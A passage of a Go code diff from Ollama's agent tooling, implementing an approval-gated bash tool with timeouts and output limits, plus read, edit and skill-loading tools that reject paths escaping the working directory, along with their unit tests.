func (b *Bash) RequiresApproval(map[string]any) bool {
return true
}
func (b *Bash) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
command, ok := args["command"].(string)
if !ok || strings.TrimSpace(command) == "" {
return agent.ToolResult{}, fmt.Errorf("command parameter is required")
}
ctx, cancel := context.WithTimeout(ctx, bashTimeout)
defer cancel()
cwdFile, err := os.CreateTemp("", "ollama-agent-cwd-*")
if err != nil {
return agent.ToolResult{}, err
}
cwdPath := cwdFile.Name()
_ = cwdFile.Close()
defer os.Remove(cwdPath)
script := command + "\n__ollama_status=$?\npwd -P > " + shellQuote(cwdPath) + "\nexit $__ollama_status"
cmd := exec.CommandContext(ctx, "bash", "-c", script)
configureBashCommand(cmd)
cmd.Cancel = func() error {
return killBashCommand(cmd)
}
if toolCtx.WorkingDir != "" {
cmd.Dir = toolCtx.WorkingDir
}
var stdout, stderr boundedOutput
stdout.Limit = maxBashOutputBytes
stderr.Limit = maxBashOutputBytes
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err = runBashCommand(cmd)
finalWorkingDir := readFinalWorkingDir(cwdPath)
var sb strings.Builder
if stdout.Len() > 0 {
sb.WriteString(stdout.String("stdout"))
}
if stderr.Len() > 0 {
if sb.Len() > 0 {
sb.WriteString("\n")
}
sb.WriteString("stderr:\n")
sb.WriteString(stderr.String("stderr"))
}
if err != nil {
if ctx.Err() == context.DeadlineExceeded {
return agent.ToolResult{Content: sb.String() + "\n\nError: command timed out after " + bashTimeout.String(), WorkingDir: finalWorkingDir}, nil
}
if ctx.Err() == context.Canceled {
return agent.ToolResult{Content: sb.String() + "\n\nError: command was canceled", WorkingDir: finalWorkingDir}, nil
}
if exitErr, ok := err.(*exec.ExitError); ok {
return agent.ToolResult{Content: sb.String() + fmt.Sprintf("\n\nExit code: %d", exitErr.ExitCode()), WorkingDir: finalWorkingDir}, nil
}
return agent.ToolResult{Content: sb.String(), WorkingDir: finalWorkingDir}, fmt.Errorf("executing command: %w", err)
}
if sb.Len() == 0 {
return agent.ToolResult{Content: "(no output)", WorkingDir: finalWorkingDir}, nil
}
return agent.ToolResult{Content: sb.String(), WorkingDir: finalWorkingDir}, nil
}
func readFinalWorkingDir(path string) string {
content, err := os.ReadFile(path)
if err != nil {
return ""
}
workingDir := strings.TrimSpace(string(content))
if workingDir == "" {
return ""
}
workingDir = normalizeBashWorkingDir(workingDir)
info, err := os.Stat(workingDir)
if err != nil || !info.IsDir() {
return ""
}
return workingDir
}
func normalizeBashWorkingDir(workingDir string) string {
if runtime.GOOS == "windows" && len(workingDir) >= 3 && workingDir[0] == '/' && workingDir[2] == '/' && isASCIIAlpha(workingDir[1]) {
workingDir = strings.ToUpper(string(workingDir[1])) + ":" + workingDir[2:]
}
workingDir = filepath.Clean(filepath.FromSlash(workingDir))
if runtime.GOOS == "windows" && len(workingDir) >= 2 && workingDir[1] == ':' && isASCIIAlpha(workingDir[0]) {
workingDir = strings.ToUpper(string(workingDir[0])) + workingDir[1:]
}
return workingDir
}
func isASCIIAlpha(b byte) bool {
return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z')
}
func shellQuote(value string) string {
return "'" + strings.ReplaceAll(value, "'", "'\\''") + "'"
}
type boundedOutput struct {
Limit int
buf strings.Builder
omitted int
}
func (b *boundedOutput) Write(p []byte) (int, error) {
if b.Limit <= 0 {
b.omitted += len(p)
return len(p), nil
}
remaining := b.Limit - b.buf.Len()
if remaining <= 0 {
b.omitted += len(p)
return len(p), nil
}
if len(p) <= remaining {
b.buf.Write(p)
return len(p), nil
}
b.buf.Write(p[:remaining])
b.omitted += len(p) - remaining
return len(p), nil
}
func (b *boundedOutput) Len() int {
return b.buf.Len() + b.omitted
}
func (b *boundedOutput) String(label string) string {
content := b.buf.String()
if b.omitted == 0 {
return content
}
return content + fmt.Sprintf("\n\n[%s truncated: omitted ~%d tokens]", label, approximateTokensFromBytes(b.omitted))
}
func approximateTokensFromBytes(n int) int {
if n <= 0 {
return 0
}
return max(1, (n+3)/4)
}
+114
View File
@@ -0,0 +1,114 @@
package tools
import (
"context"
"os"
"path/filepath"
"runtime"
"strings"
"testing"
"github.com/ollama/ollama/agent"
)
func TestBashReportsFinalWorkingDir(t *testing.T) {
root := t.TempDir()
subdir := filepath.Join(root, "sub")
if err := os.Mkdir(subdir, 0o755); err != nil {
t.Fatal(err)
}
result, err := NewBash().Execute(context.Background(), agent.ToolContext{WorkingDir: root}, map[string]any{
"command": "cd sub && pwd",
})
if err != nil {
t.Fatal(err)
}
wantDir, err := filepath.EvalSymlinks(subdir)
if err != nil {
t.Fatal(err)
}
if result.WorkingDir != wantDir {
t.Fatalf("working dir = %q, want %q", result.WorkingDir, wantDir)
}
if !strings.Contains(result.Content, "sub") {
t.Fatalf("content = %q, want pwd output", result.Content)
}
}
func TestBashBoundsOutputWhileRunning(t *testing.T) {
result, err := NewBash().Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
"command": "yes x | head -c 70000",
})
if err != nil {
t.Fatal(err)
}
if !strings.Contains(result.Content, "[stdout truncated: omitted ~") || !strings.Contains(result.Content, " tokens]") {
t.Fatalf("content = %q, want stdout truncation marker", result.Content)
}
if count := strings.Count(result.Content, "x"); count != maxBashOutputBytes/2 {
t.Fatalf("captured x count = %d, want %d", count, maxBashOutputBytes/2)
}
if len(result.Content) > maxBashOutputBytes+200 {
t.Fatalf("content length = %d, want bounded output", len(result.Content))
}
}
func TestBashReportsCanceledCommand(t *testing.T) {
ctx, cancel := context.WithCancel(context.Background())
cancel()
result, err := NewBash().Execute(ctx, agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
"command": "sleep 10",
})
if err != nil {
t.Fatal(err)
}
if !strings.Contains(result.Content, "Error: command was canceled") {
t.Fatalf("content = %q, want canceled message", result.Content)
}
if strings.Contains(result.Content, "Exit code: -1") {
t.Fatalf("content = %q, should not mask cancellation as exit code", result.Content)
}
}
func TestReadFinalWorkingDirRejectsInvalidPaths(t *testing.T) {
dir := t.TempDir()
cwdFile := filepath.Join(dir, "cwd")
notDir := filepath.Join(dir, "file.txt")
if err := os.WriteFile(notDir, []byte("not a dir"), 0o644); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(cwdFile, []byte(notDir+"\n"), 0o644); err != nil {
t.Fatal(err)
}
if got := readFinalWorkingDir(cwdFile); got != "" {
t.Fatalf("regular file cwd = %q, want empty", got)
}
if err := os.WriteFile(cwdFile, []byte(filepath.Join(dir, "missing")+"\n"), 0o644); err != nil {
t.Fatal(err)
}
if got := readFinalWorkingDir(cwdFile); got != "" {
t.Fatalf("missing cwd = %q, want empty", got)
}
if err := os.WriteFile(cwdFile, []byte(dir+"\n"), 0o644); err != nil {
t.Fatal(err)
}
if got := readFinalWorkingDir(cwdFile); got != dir {
t.Fatalf("directory cwd = %q, want %q", got, dir)
}
}
func TestNormalizeBashWorkingDirWindowsDriveLetter(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("windows path normalization")
}
got := normalizeBashWorkingDir("/c/Users/jdoe/project")
want := filepath.Clean(`C:\Users\jdoe\project`)
if got != want {
t.Fatalf("working dir = %q, want %q", got, want)
}
}
+24
View File
@@ -0,0 +1,24 @@
//go:build !windows
package tools
import (
"os/exec"
"syscall"
)
func configureBashCommand(cmd *exec.Cmd) {
cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
}
func runBashCommand(cmd *exec.Cmd) error {
return cmd.Run()
}
func killBashCommand(cmd *exec.Cmd) error {
if cmd == nil || cmd.Process == nil {
return nil
}
_ = syscall.Kill(-cmd.Process.Pid, syscall.SIGKILL)
return nil
}
+16
View File
@@ -0,0 +1,16 @@
//go:build !windows
package tools
import (
"os/exec"
"testing"
)
func TestConfigureBashCommandSetsProcessGroup(t *testing.T) {
cmd := exec.Command("bash", "-c", "true")
configureBashCommand(cmd)
if cmd.SysProcAttr == nil || !cmd.SysProcAttr.Setpgid {
t.Fatalf("configureBashCommand should start bash in a new process group")
}
}
+77
View File
@@ -0,0 +1,77 @@
//go:build windows
package tools
import (
"os/exec"
"sync"
"unsafe"
"golang.org/x/sys/windows"
)
var bashJobHandles sync.Map
func configureBashCommand(*exec.Cmd) {}
func runBashCommand(cmd *exec.Cmd) error {
if err := cmd.Start(); err != nil {
return err
}
if job, err := createBashJob(cmd.Process.Pid); err == nil {
bashJobHandles.Store(cmd.Process.Pid, job)
defer releaseBashJob(cmd.Process.Pid)
}
return cmd.Wait()
}
func killBashCommand(cmd *exec.Cmd) error {
if cmd == nil || cmd.Process == nil {
return nil
}
releaseBashJob(cmd.Process.Pid)
_ = cmd.Process.Kill()
return nil
}
func createBashJob(pid int) (windows.Handle, error) {
job, err := windows.CreateJobObject(nil, nil)
if err != nil {
return 0, err
}
info := windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION{}
info.BasicLimitInformation.LimitFlags = windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
if _, err := windows.SetInformationJobObject(
job,
windows.JobObjectExtendedLimitInformation,
uintptr(unsafe.Pointer(&info)),
uint32(unsafe.Sizeof(info)),
); err != nil {
_ = windows.CloseHandle(job)
return 0, err
}
process, err := windows.OpenProcess(windows.PROCESS_SET_QUOTA|windows.PROCESS_TERMINATE, false, uint32(pid))
if err != nil {
_ = windows.CloseHandle(job)
return 0, err
}
defer windows.CloseHandle(process)
if err := windows.AssignProcessToJobObject(job, process); err != nil {
_ = windows.CloseHandle(job)
return 0, err
}
return job, nil
}
func releaseBashJob(pid int) {
value, ok := bashJobHandles.LoadAndDelete(pid)
if !ok {
return
}
if job, ok := value.(windows.Handle); ok {
_ = windows.CloseHandle(job)
}
}
+546
View File
@@ -0,0 +1,546 @@
package tools
import (
"bufio"
"context"
"fmt"
"io"
"os"
"path/filepath"
"strconv"
"strings"
"github.com/ollama/ollama/agent"
"github.com/ollama/ollama/api"
)
const (
maxReadBytes = 200000
)
type Read struct{}
func NewRead() *Read {
return &Read{}
}
func (r *Read) Name() string {
return "read"
}
func (r *Read) Description() string {
return "Read a text file from the current working directory."
}
func (r *Read) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("path", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "Path to the file to read, relative to the working directory.",
})
props.Set("start_line", api.ToolProperty{
Type: api.PropertyType{"integer"},
Description: "Optional 1-based line to start reading from.",
})
props.Set("end_line", api.ToolProperty{
Type: api.PropertyType{"integer"},
Description: "Optional 1-based inclusive line to stop reading at.",
})
props.Set("line_count", api.ToolProperty{
Type: api.PropertyType{"integer"},
Description: "Optional maximum number of lines to read, starting at start_line or line 1.",
})
props.Set("line_range", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: `Optional 1-based inclusive range like "10-40", "10:40", "10..40", "10-", or "10".`,
})
return api.ToolFunction{
Name: r.Name(),
Description: r.Description(),
Parameters: api.ToolFunctionParameters{
Type: "object",
Properties: props,
Required: []string{"path"},
},
}
}
func (r *Read) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
path, ok := args["path"].(string)
if !ok || strings.TrimSpace(path) == "" {
return agent.ToolResult{}, fmt.Errorf("path parameter is required")
}
file, info, err := openRegularFile(toolCtx.WorkingDir, path)
if err != nil {
return agent.ToolResult{}, err
}
defer file.Close()
selection, err := readSelectionFromArgs(args)
if err != nil {
return agent.ToolResult{}, err
}
if !selection.enabled && info.Size() > maxReadBytes {
return agent.ToolResult{}, fmt.Errorf("%s is too large to read (%d bytes)", path, info.Size())
}
select {
case <-ctx.Done():
return agent.ToolResult{}, ctx.Err()
default:
}
var content string
if selection.enabled {
content, err = readLineSelection(file, selection)
} else {
var contentBytes []byte
contentBytes, err = io.ReadAll(file)
content = string(contentBytes)
}
if err != nil {
return agent.ToolResult{}, err
}
return agent.ToolResult{Content: content}, nil
}
type Edit struct{}
func NewEdit() *Edit {
return &Edit{}
}
func (e *Edit) Name() string {
return "edit"
}
func (e *Edit) Description() string {
return "Edit a text file in the current working directory by replacing exact text."
}
func (e *Edit) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("path", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "Path to the file to edit, relative to the working directory.",
})
props.Set("old_text", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "Exact text to replace.",
})
props.Set("new_text", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "Replacement text.",
})
props.Set("replace_all", api.ToolProperty{
Type: api.PropertyType{"boolean"},
Description: "Replace every occurrence. Defaults to false and requires old_text to match exactly once.",
})
return api.ToolFunction{
Name: e.Name(),
Description: e.Description(),
Parameters: api.ToolFunctionParameters{
Type: "object",
Properties: props,
Required: []string{"path", "old_text", "new_text"},
},
}
}
func (e *Edit) RequiresApproval(map[string]any) bool {
return true
}
func (e *Edit) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
path, ok := args["path"].(string)
if !ok || strings.TrimSpace(path) == "" {
return agent.ToolResult{}, fmt.Errorf("path parameter is required")
}
oldText, ok := args["old_text"].(string)
if !ok || oldText == "" {
return agent.ToolResult{}, fmt.Errorf("old_text parameter is required")
}
newText, ok := args["new_text"].(string)
if !ok {
return agent.ToolResult{}, fmt.Errorf("new_text parameter is required")
}
replaceAll, _ := args["replace_all"].(bool)
file, info, err := openRegularFile(toolCtx.WorkingDir, path)
if err != nil {
return agent.ToolResult{}, err
}
if info.Size() > maxReadBytes {
file.Close()
return agent.ToolResult{}, fmt.Errorf("%s is too large to edit (%d bytes)", path, info.Size())
}
select {
case <-ctx.Done():
file.Close()
return agent.ToolResult{}, ctx.Err()
default:
}
contentBytes, err := io.ReadAll(file)
if closeErr := file.Close(); err == nil && closeErr != nil {
err = closeErr
}
if err != nil {
return agent.ToolResult{}, err
}
content := string(contentBytes)
matches := strings.Count(content, oldText)
if matches == 0 {
return agent.ToolResult{}, fmt.Errorf("old_text was not found in %s", path)
}
if matches > 1 && !replaceAll {
return agent.ToolResult{}, fmt.Errorf("old_text matched %d times in %s; set replace_all to true to replace every match", matches, path)
}
var updated string
if replaceAll {
updated = strings.ReplaceAll(content, oldText, newText)
} else {
updated = strings.Replace(content, oldText, newText, 1)
}
if len(updated) > maxReadBytes {
return agent.ToolResult{}, fmt.Errorf("edited content is too large (%d bytes)", len(updated))
}
if err := writeFileAtomic(toolCtx.WorkingDir, path, []byte(updated), info.Mode().Perm()); err != nil {
return agent.ToolResult{}, err
}
return agent.ToolResult{Content: fmt.Sprintf("Updated %s (%d replacement%s).", path, matches, plural(matches))}, nil
}
func cleanRelativePath(path string) (string, error) {
path = strings.TrimSpace(path)
if path == "" {
return "", fmt.Errorf("path parameter is required")
}
if filepath.IsAbs(path) {
return "", fmt.Errorf("absolute paths are not allowed")
}
cleaned := filepath.Clean(path)
if cleaned == "." || cleaned == ".." || strings.HasPrefix(cleaned, ".."+string(os.PathSeparator)) {
return "", fmt.Errorf("path escapes working directory")
}
return cleaned, nil
}
func openRegularFile(workingDir, path string) (*os.File, os.FileInfo, error) {
rel, err := cleanRelativePath(path)
if err != nil {
return nil, nil, err
}
root, err := openWorkingRoot(workingDir)
if err != nil {
return nil, nil, err
}
defer root.Close()
file, err := root.Open(rel)
if err != nil {
return nil, nil, rootPathError(err)
}
info, err := file.Stat()
if err != nil {
file.Close()
return nil, nil, err
}
if info.IsDir() {
file.Close()
return nil, nil, fmt.Errorf("%s is a directory", path)
}
return file, info, nil
}
func writeFileAtomic(workingDir, path string, data []byte, perm os.FileMode) error {
rel, err := cleanRelativePath(path)
if err != nil {
return err
}
root, err := openWorkingRoot(workingDir)
if err != nil {
return err
}
defer root.Close()
parent, name := filepath.Split(rel)
tmpBase := fmt.Sprintf(".%s.ollama-tmp-%d", name, os.Getpid())
for i := 0; ; i++ {
candidateName := tmpBase
if i > 0 {
candidateName = fmt.Sprintf("%s-%d", tmpBase, i)
}
candidate := filepath.Join(parent, candidateName)
file, err := root.OpenFile(candidate, os.O_WRONLY|os.O_CREATE|os.O_EXCL, perm)
if os.IsExist(err) {
continue
}
if err != nil {
return rootPathError(err)
}
writeErr := writeAllAndSync(file, data)
closeErr := file.Close()
if writeErr != nil || closeErr != nil {
_ = root.Remove(candidate)
if writeErr != nil {
return writeErr
}
return closeErr
}
if err := root.Rename(candidate, rel); err != nil {
_ = root.Remove(candidate)
return rootPathError(err)
}
return nil
}
}
func rootPathError(err error) error {
if err != nil && strings.Contains(err.Error(), "path escapes") {
return fmt.Errorf("path escapes working directory")
}
return err
}
func openWorkingRoot(workingDir string) (*os.Root, error) {
base, err := workingDirAbs(workingDir)
if err != nil {
return nil, err
}
return os.OpenRoot(base)
}
func writeAllAndSync(file *os.File, data []byte) error {
if _, err := file.Write(data); err != nil {
return err
}
return file.Sync()
}
func workingDirAbs(workingDir string) (string, error) {
base := workingDir
if base == "" {
var err error
base, err = os.Getwd()
if err != nil {
return "", err
}
}
return canonicalPath(base)
}
func canonicalPath(path string) (string, error) {
abs, err := filepath.Abs(path)
if err != nil {
return "", err
}
resolved, err := filepath.EvalSymlinks(abs)
if err == nil {
return resolved, nil
}
return abs, nil
}
type readSelection struct {
enabled bool
start int
end int
}
func readSelectionFromArgs(args map[string]any) (readSelection, error) {
selection := readSelection{start: 1}
var startSet, endSet bool
for _, key := range []string{"line_range", "range", "lines"} {
if lineRange, ok := stringReadArg(args, key); ok {
start, end, err := parseLineRange(lineRange)
if err != nil {
return readSelection{}, err
}
selection.enabled = true
if start > 0 {
selection.start = start
startSet = true
}
if end > 0 {
selection.end = end
endSet = true
}
break
}
}
if start, ok, err := intReadArg(args, "start_line"); err != nil {
return readSelection{}, err
} else if ok {
selection.enabled = true
selection.start = start
startSet = true
}
if end, ok, err := intReadArg(args, "end_line"); err != nil {
return readSelection{}, err
} else if ok {
selection.enabled = true
selection.end = end
endSet = true
}
lineCount, countSet, err := readLineCountArg(args)
if err != nil {
return readSelection{}, err
}
if countSet {
selection.enabled = true
if !startSet {
selection.start = 1
}
if !endSet {
selection.end = selection.start + lineCount - 1
}
}
if !selection.enabled {
return selection, nil
}
if selection.start < 1 {
return readSelection{}, fmt.Errorf("start_line must be greater than 0")
}
if selection.end > 0 && selection.end < selection.start {
return readSelection{}, fmt.Errorf("end_line must be greater than or equal to start_line")
}
return selection, nil
}
func readLineCountArg(args map[string]any) (int, bool, error) {
for _, key := range []string{"line_count", "num_lines"} {
value, ok, err := intReadArg(args, key)
if err != nil || ok {
if ok && value < 1 {
return 0, false, fmt.Errorf("%s must be greater than 0", key)
}
return value, ok, err
}
}
return 0, false, nil
}
func parseLineRange(value string) (int, int, error) {
value = strings.TrimSpace(value)
if value == "" {
return 0, 0, nil
}
value = strings.TrimPrefix(value, "lines")
value = strings.TrimPrefix(value, "line")
value = strings.TrimSpace(value)
for _, sep := range []string{"..", ":", ","} {
value = strings.ReplaceAll(value, sep, "-")
}
parts := strings.Split(value, "-")
if len(parts) > 2 {
return 0, 0, fmt.Errorf("line_range must look like 10-40, 10:40, 10..40, 10-, or 10")
}
start, end := 0, 0
var err error
if strings.TrimSpace(parts[0]) != "" {
start, err = strconv.Atoi(strings.TrimSpace(parts[0]))
if err != nil || start < 1 {
return 0, 0, fmt.Errorf("line_range start must be a positive line number")
}
}
if len(parts) == 1 {
return start, start, nil
}
if strings.TrimSpace(parts[1]) != "" {
end, err = strconv.Atoi(strings.TrimSpace(parts[1]))
if err != nil || end < 1 {
return 0, 0, fmt.Errorf("line_range end must be a positive line number")
}
}
if start == 0 && end == 0 {
return 0, 0, fmt.Errorf("line_range must include at least one line number")
}
if start == 0 {
start = 1
}
if end > 0 && end < start {
return 0, 0, fmt.Errorf("line_range end must be greater than or equal to start")
}
return start, end, nil
}
func readLineSelection(file *os.File, selection readSelection) (string, error) {
reader := bufio.NewReader(file)
var b strings.Builder
for lineNo := 1; ; lineNo++ {
line, err := reader.ReadString('\n')
if lineNo >= selection.start && (selection.end == 0 || lineNo <= selection.end) {
if b.Len()+len(line) > maxReadBytes {
return "", fmt.Errorf("selected content is too large (%d byte limit)", maxReadBytes)
}
b.WriteString(line)
}
if err != nil {
if err == io.EOF {
break
}
return "", err
}
if selection.end > 0 && lineNo >= selection.end {
break
}
}
return b.String(), nil
}
func stringReadArg(args map[string]any, key string) (string, bool) {
value, ok := args[key].(string)
return value, ok && strings.TrimSpace(value) != ""
}
func intReadArg(args map[string]any, key string) (int, bool, error) {
value, ok := args[key]
if !ok {
return 0, false, nil
}
switch v := value.(type) {
case int:
return v, true, nil
case int64:
return int(v), true, nil
case float64:
if v != float64(int(v)) {
return 0, true, fmt.Errorf("%s must be a whole number", key)
}
return int(v), true, nil
case string:
v = strings.TrimSpace(v)
if v == "" {
return 0, false, nil
}
n, err := strconv.Atoi(v)
if err != nil {
return 0, true, fmt.Errorf("%s must be a whole number", key)
}
return n, true, nil
default:
return 0, true, fmt.Errorf("%s must be a whole number", key)
}
}
func plural(n int) string {
if n == 1 {
return ""
}
return "s"
}
+217
View File
@@ -0,0 +1,217 @@
package tools
import (
"context"
"os"
"path/filepath"
"strings"
"testing"
"github.com/ollama/ollama/agent"
)
func TestEditReplacesUniqueText(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "note.txt")
if err := os.WriteFile(path, []byte("hello world\n"), 0o644); err != nil {
t.Fatal(err)
}
result, err := NewEdit().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"old_text": "hello",
"new_text": "hi",
})
if err != nil {
t.Fatal(err)
}
if !strings.Contains(result.Content, "Updated note.txt") {
t.Fatalf("result = %q", result.Content)
}
content, err := os.ReadFile(path)
if err != nil {
t.Fatal(err)
}
if string(content) != "hi world\n" {
t.Fatalf("content = %q", content)
}
}
func TestEditRequiresUniqueMatchByDefault(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "note.txt")
if err := os.WriteFile(path, []byte("same same\n"), 0o644); err != nil {
t.Fatal(err)
}
_, err := NewEdit().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"old_text": "same",
"new_text": "other",
})
if err == nil {
t.Fatal("expected ambiguous edit to fail")
}
if !strings.Contains(err.Error(), "matched 2 times") {
t.Fatalf("err = %v", err)
}
}
func TestEditRejectsEscapingPath(t *testing.T) {
dir := t.TempDir()
_, err := NewEdit().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "../outside.txt",
"old_text": "old",
"new_text": "new",
})
if err == nil {
t.Fatal("expected escaping path to fail")
}
if !strings.Contains(err.Error(), "path escapes working directory") {
t.Fatalf("err = %v", err)
}
}
func TestEditRejectsSymlinkEscape(t *testing.T) {
dir := t.TempDir()
outside := t.TempDir()
if err := os.WriteFile(filepath.Join(outside, "note.txt"), []byte("old\n"), 0o644); err != nil {
t.Fatal(err)
}
if err := os.Symlink(outside, filepath.Join(dir, "link")); err != nil {
t.Skipf("symlinks unavailable: %v", err)
}
_, err := NewEdit().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": filepath.Join("link", "note.txt"),
"old_text": "old",
"new_text": "new",
})
if err == nil {
t.Fatal("expected symlink escape to fail")
}
if !strings.Contains(err.Error(), "path escapes working directory") {
t.Fatalf("err = %v", err)
}
content, err := os.ReadFile(filepath.Join(outside, "note.txt"))
if err != nil {
t.Fatal(err)
}
if string(content) != "old\n" {
t.Fatalf("outside content changed to %q", content)
}
}
func TestReadRejectsParentOutsideCurrentWorkingDir(t *testing.T) {
root := t.TempDir()
subdir := filepath.Join(root, "sub")
if err := os.Mkdir(subdir, 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(root, "note.txt"), []byte("hello"), 0o644); err != nil {
t.Fatal(err)
}
_, err := NewRead().Execute(context.Background(), agent.ToolContext{WorkingDir: subdir}, map[string]any{
"path": "../note.txt",
})
if err == nil {
t.Fatal("expected parent path to fail")
}
if !strings.Contains(err.Error(), "path escapes working directory") {
t.Fatalf("err = %v", err)
}
}
func TestReadDefaultsToEntireFile(t *testing.T) {
dir := t.TempDir()
content := "one\ntwo\nthree\n"
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte(content), 0o644); err != nil {
t.Fatal(err)
}
result, err := NewRead().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
})
if err != nil {
t.Fatal(err)
}
if result.Content != content {
t.Fatalf("content = %q", result.Content)
}
}
func TestReadLineRange(t *testing.T) {
dir := t.TempDir()
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
t.Fatal(err)
}
result, err := NewRead().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"line_range": "2-3",
})
if err != nil {
t.Fatal(err)
}
if result.Content != "two\nthree\n" {
t.Fatalf("content = %q", result.Content)
}
}
func TestReadLinesAliasAsRange(t *testing.T) {
dir := t.TempDir()
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
t.Fatal(err)
}
result, err := NewRead().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"lines": "2-3",
})
if err != nil {
t.Fatal(err)
}
if result.Content != "two\nthree\n" {
t.Fatalf("content = %q", result.Content)
}
}
func TestReadLineCountFromStartLine(t *testing.T) {
dir := t.TempDir()
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
t.Fatal(err)
}
result, err := NewRead().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"start_line": 3,
"line_count": 2,
})
if err != nil {
t.Fatal(err)
}
if result.Content != "three\nfour\n" {
t.Fatalf("content = %q", result.Content)
}
}
func TestReadRejectsInvalidLineRange(t *testing.T) {
dir := t.TempDir()
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\n"), 0o644); err != nil {
t.Fatal(err)
}
_, err := NewRead().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"line_range": "4-2",
})
if err == nil {
t.Fatal("expected invalid range to fail")
}
if !strings.Contains(err.Error(), "line_range end") {
t.Fatalf("err = %v", err)
}
}
+137
View File
@@ -0,0 +1,137 @@
package tools
import (
"context"
"fmt"
"strings"
"github.com/ollama/ollama/agent"
"github.com/ollama/ollama/agent/skills"
"github.com/ollama/ollama/api"
)
type Skill struct {
catalog *skills.Catalog
}
func NewSkill(catalog *skills.Catalog) *Skill {
return &Skill{catalog: catalog}
}
func (s *Skill) Name() string {
return "skill"
}
func (s *Skill) Description() string {
return "Load the full SKILL.md instructions for an installed agent skill by name."
}
func (s *Skill) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("name", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "Name of the skill to load.",
})
return api.ToolFunction{
Name: s.Name(),
Description: s.Description(),
Parameters: api.ToolFunctionParameters{
Type: "object",
Required: []string{"name"},
Properties: props,
},
}
}
func (s *Skill) Execute(_ context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
name, _ := args["name"].(string)
name = skills.NormalizeName(name)
if name == "" {
return agent.ToolResult{}, fmt.Errorf("name parameter is required")
}
if s.catalog == nil || s.catalog.Empty() {
return agent.ToolResult{}, fmt.Errorf("no skills are installed")
}
skill, ok := s.catalog.Find(name)
if !ok {
return agent.ToolResult{}, fmt.Errorf("unknown skill: %s", name)
}
content, err := SkillResultContent(skill)
if err != nil {
return agent.ToolResult{}, err
}
return agent.ToolResult{Content: content}, nil
}
func ManualSkillMessages(skill skills.Skill, request string, ordinal int) ([]api.Message, error) {
content, err := SkillResultContent(skill)
if err != nil {
return nil, err
}
args := api.NewToolCallFunctionArguments()
args.Set("name", skill.Name)
callID := manualSkillToolCallID(skill.Name, ordinal)
userContent := strings.TrimSpace(request)
if userContent == "" {
userContent = fmt.Sprintf("Use the %s skill.", skill.Name)
}
return []api.Message{
{Role: "user", Content: userContent},
{
Role: "assistant",
ToolCalls: []api.ToolCall{{
ID: callID,
Function: api.ToolCallFunction{
Name: "skill",
Arguments: args,
},
}},
},
{Role: "tool", ToolName: "skill", ToolCallID: callID, Content: content},
}, nil
}
func SkillResultContent(skill skills.Skill) (string, error) {
content, err := skill.Read()
if err != nil {
return "", err
}
var b strings.Builder
b.WriteString("Loaded skill: ")
b.WriteString(skill.Name)
b.WriteByte('\n')
b.WriteString("Skill directory: ")
b.WriteString(skill.Dir)
b.WriteString("\nResolve relative file references from the skill directory.\n\n")
b.WriteString(content)
return b.String(), nil
}
func manualSkillToolCallID(skillName string, ordinal int) string {
name := strings.Trim(strings.Map(func(r rune) rune {
switch {
case r >= 'a' && r <= 'z':
return r
case r >= 'A' && r <= 'Z':
return r
case r >= '0' && r <= '9':
return r
case r == '-' || r == '_':
return r
default:
return '-'
}
}, skillName), "-")
if name == "" {
name = "skill"
}
if ordinal <= 0 {
return "manual-skill-" + name
}
return fmt.Sprintf("manual-skill-%d-%s", ordinal, name)
}
+81
View File
@@ -0,0 +1,81 @@
package tools
import (
"context"
"os"
"path/filepath"
"strings"
"testing"
"github.com/ollama/ollama/agent"
"github.com/ollama/ollama/agent/skills"
)
func TestSkillToolLoadsSkill(t *testing.T) {
dir := t.TempDir()
skillDir := filepath.Join(dir, "go-code")
if err := os.MkdirAll(skillDir, 0o755); err != nil {
t.Fatal(err)
}
